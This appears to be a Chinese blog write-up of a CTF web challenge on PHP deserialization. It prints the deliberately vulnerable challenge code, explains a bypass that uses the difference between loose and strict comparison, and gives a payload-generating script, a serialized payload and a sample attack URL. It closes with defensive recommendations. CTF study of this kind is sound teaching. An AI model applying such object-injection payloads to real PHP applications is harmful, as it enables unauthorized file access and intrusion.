2020-⽹鼎杯-⻘⻰组-Web-AreUSerialz

2020-⽹鼎杯-⻘⻰组-Web-AreUSerialz总结

​ 这是一道Web 方向 - PHP 反序列化入门级 CTF 题,核心考点覆盖 PHP 魔术方法执行逻辑、类型比较规则、序列化字符串合法性校验,最终目标是构造恶意反序列化 Payload,触发NewFlag::getFlag()方法并传入正确参数,获取题目预设的 flag。

一、完整代码解析

(一)核心文件:ctf2.php

<?php
include("NewFlag.php"); // 引入flag逻辑文件,必须加载才能调用NewFlag类
highlight_file(__FILE__); // 高亮显示当前文件源码(CTF中给选手看代码的常规操作)

class FileHandler { // 漏洞核心类,所有逻辑围绕此类展开
    protected $op; // 操作类型:1=写文件,2=读文件;protected修饰符会导致序列化含不可打印字符
    protected $filename; // 待操作的文件名
    protected $content; // 写文件时的内容

    function __construct() { // 构造函数:创建对象时自动执行(反序列化不触发!)
        $op = "1"; // 注意:此处是局部变量,未赋值给$this->op(代码“坑点”,无实际作用)
        $filename = "tmpfile"; // 局部变量,未赋值给对象属性
        $content = "Hello World!"; // 局部变量,未赋值给对象属性
        $this->process(); // 调用process,但$this->op为null,会输出"Bad Hacker!"
    }

    public function process() { // 核心业务方法:根据$op执行不同逻辑
        if($this->op == "2") { // 松散比较(仅值相等,类型自动转换)
            $res = $this->read(); // 调用read方法(触发flag的关键)
            $this->output($res); // 输出read的结果
        } else if($this->op == "1") { // 松散比较,执行写文件逻辑
            $this->write();
        } else { // 其他op值,输出恶意操作提示
            $this->output("Bad Hacker!");
        }
    }

    private function write() { // 私有方法:写文件逻辑(本题无利用价值)
        if(isset($this->filename) && isset($this->content)) { // 检查文件名/内容是否存在
            if(strlen((string)$this->content) > 100) { // 内容长度限制(无影响)
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content); // 写入文件
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() { // 私有方法:读文件逻辑(触发flag的核心)
        $res = "";
        if(isset($this->filename)) { // 检查文件名是否存在
            $res = NewFlag::getFlag($this->filename); // 调用flag核心方法
        }
        return $res; // 返回flag结果
    }

    private function output($s) { // 私有方法:统一输出结果
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() { // 析构函数:对象销毁时自动执行(脚本结束/对象被unset)
        if($this->op === "2") // 严格比较:值+类型必须全等于字符串"2"
            $this->op = "1"; // 满足则修改op为1,导致无法执行读文件逻辑
        $this->content = ""; // 清空内容(不影响读文件)
        $this->process(); // 强制调用process(漏洞触发的核心入口)
    }
}

function is_valid($s) { // 序列化字符串合法性校验:仅允许可打印ASCII字符(32-125)
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) // 检查每个字符的ASCII码
            return false; // 含不可打印字符则拒绝反序列化
    return true;
}

if(isset($_GET{'str'})) { // 接收GET参数str({}和[]等价,PHP语法兼容)
    $str = (string)$_GET['str']; // 转为字符串
    if(is_valid($str)) { // 校验通过才反序列化
        $obj = unserialize($str); // 反序列化:字符串→对象
    }
}
?>

(二)flag 逻辑文件:NewFlag.php

<?php
class NewFlag {
   public static function getFlag($fileName) { // 静态方法:返回flag的核心逻辑
	   $res = "flag error"; // 默认返回错误提示
	   if($fileName ==="NewFlag.php") { // 严格比较:文件名必须是"NewFlag.php"(值+类型)
	      $res = "flag:{this is flag}"; // 文件名正确则返回真实flag
	   }
	   return $res; // 返回结果
   }
}
?>

二、核心要点深度拆解

1:PHP 魔术方法的执行规则

魔术方法 执行时机 对本题的影响
__construct 对象创建时执行 反序列化生成对象时不触发,因此构造函数内的代码无利用价值
__destruct 对象销毁时执行(脚本结束 / 对象被 unset) 反序列化的对象会在脚本结束时触发此方法,进而调用process(),是漏洞触发的核心

2:PHP 比较规则(松散 vs 严格)

比较符 规则 示例 本题应用
==(松散) 仅比较值,自动类型转换 2 == "2" → true;1 == "1a" → true process()$op == "2",整数 2 也能匹配
===(严格) 比较值 + 类型,无转换 2 === "2" → false;"2" === "2" → true __destruct()中用此规则,可通过类型差异绕过

3:类属性修饰符与序列化规则

PHP 属性修饰符决定序列化后的字符串格式,直接影响is_valid()校验:

修饰符 序列化格式 特殊字符 是否可打印 本题应对方案
public s:长度:"属性名";值 自定义类将属性改为 public,构造可打印字符串
protected s:长度:"\0*\0属性名";值 \0(ASCII 0) 利用 PHP 反序列化 “宽松匹配” 特性,用 public 属性替代
private s:长度:"\0类名\0属性名";值 \0(ASCII 0) 同 protected 的应对方案

4:反序列化完整执行流程

A[传入GET参数str] --> B[is_valid()校验字符合法性]
B -->|通过| C[unserialize生成FileHandler对象]
B -->|不通过| D[终止,无操作]
C --> E[脚本结束,对象销毁]
E --> F[触发__destruct()]
F --> G[检查$op === "2",决定是否修改op]
G --> H[调用process()]
H --> I{op == 2?}
I -->|是| J[调用read() → 触发NewFlag::getFlag()]
I -->|否| K[执行写文件/输出Bad Hacker!]
J --> L[输出flag/flag error]

三、解题步骤

步骤 1:明确攻击目标

要获取 flag,必须同时满足:

  1. process()执行$op == 2分支(调用read());
  2. read()$filename === "NewFlag.php"(触发真实 flag)。

步骤 2:分析核心障碍

障碍 表现 突破思路
障碍 1 __destruct()中若$op === "2",会将 op 改为 1 $op为整数 2(2 === "2"为 false),不修改 op
障碍 2 protected属性序列化含\0,被is_valid()拦截 自定义类将属性改为public,构造可打印字符串
障碍 3 反序列化不触发__construct() 手动构造序列化字符串,赋值对象属性

步骤 3:构造恶意序列化 Payload

编写 PHP 脚本生成合法 Payload:

<?php
// 自定义FileHandler类,属性改为public(绕过不可打印字符)
class FileHandler {
    public $op;
    public $filename;
    public $content;
}

// 1. 创建对象
$obj = new FileHandler();
// 2. 赋值核心属性:
$obj->op = 2; // 整数2,绕过__destruct()的严格比较
$obj->filename = "NewFlag.php"; // 触发flag的正确文件名
$obj->content = ""; // 析构会清空,可留空

// 3. 序列化生成Payload
$payload = serialize($obj);
echo $payload; // 输出最终Payload
?>

执行脚本,生成 Payload:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:0:"";}

Payload 解析

  • O:11:"FileHandler":反序列化生成FileHandler对象(类名长度 11);
  • 3:对象包含 3 个属性;
  • s:2:"op";i:2:属性op是字符串(长度 2),值为整数 2;
  • s:8:"filename";s:11:"NewFlag.php":属性filename是字符串(长度 8),值为 "NewFlag.php"(长度 11);
  • s:7:"content";s:0:"":属性content是字符串(长度 7),值为空字符串。

步骤 4:触发漏洞获取 flag

将 Payload 作为str参数传入ctf2.php,请求示例:

http://目标地址/ctf2.php?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:0:"";}

漏洞触发完整流程

  1. 服务器接收str参数,is_valid()校验:Payload 全为可打印字符,校验通过;
  2. unserialize()生成FileHandler对象:$op=2(整数)、$filename="NewFlag.php"$content=""
  3. 脚本执行结束,对象销毁,触发__destruct()
    • 检查$op === "2" → 整数 2 ≠ 字符串 "2",条件不成立,不修改$op
    • 清空$content(无影响);
    • 调用process()
  4. process()执行:
    • 检查$op == "2" → 整数 2 == 字符串 "2",条件成立;
    • 调用read()方法;
  5. read()执行:
    • 调用NewFlag::getFlag("NewFlag.php")
    • 文件名匹配,返回flag:{this is flag}
  6. output()输出结果:[Result]: <br>flag:{this is flag}

四、常见踩坑点与避坑指南

坑点 错误操作 后果 正确做法
坑点 1 认为反序列化触发__construct() 试图通过构造函数赋值属性,无效 直接在序列化字符串中赋值属性
坑点 2 序列化原protected属性 生成含\0的字符串,被is_valid()拦截 自定义类将属性改为public
坑点 3 $op赋值为字符串 "2" __destruct()中修改$op为 1,执行写文件逻辑 $op赋值为整数 2
坑点 4 文件名拼写错误(如newflag.php NewFlag::getFlag()返回flag error 严格匹配NewFlag.php(大小写 / 后缀)

五、思考

1. 题目变种应对

__destruct()中改为$this->op === 2(严格匹配整数 2):

  • 突破思路:将$op设为字符串 "2",此时"2" === 2为 false,仍可绕过;
  • 核心逻辑:只要让严格比较的 “值 / 类型” 不匹配,就能保留$op=2

2. 开发侧防护方法

  • 序列化白名单:仅允许反序列化指定类 / 属性,拒绝未知类;
  • 限制魔术方法:避免在__destruct()中执行关键业务逻辑;
  • 严格校验类型:所有比较使用===,避免类型转换漏洞;
  • 替换序列化方式:使用 JSON(无魔术方法触发风险)替代 PHP 原生序列化;
  • 增强字符校验:除可打印字符外,校验序列化字符串的类名 / 属性格式。

3.反序列化漏洞的利用条件

  • unserialize函数的参数可控,比如通过GET请求传参(漏洞触发点)
  • 脚本中定义了有Magic方法,方法里面有向php文件做读写数据或者执行命令的操作,比如destructO、unlink(
  • 操作的内容需要有对象中的成员变量的值,比如filename

4.常见利用函数

类别 函数
命令执行 exec()passthru()popen()system()……
文件操作 file_put_contents()file_get_contents()unlink()……

六、最终总结

本题是 PHP 反序列化的经典入门题,核心考察:

  1. 魔术方法(__destruct)的执行时机;
  2. 严格 / 松散比较的差异与绕过;
  3. 类属性修饰符对序列化的影响;
  4. 反序列化的宽松匹配特性。

解题的核心逻辑是利用类型差异绕过析构函数的严格比较,同时修改属性修饰符构造合法序列化字符串,最终触发read()方法调用NewFlag::getFlag()获取 flag。

posted @ 2026-04-09 00:21  Carlmao  阅读(1)  评论(0)    收藏  举报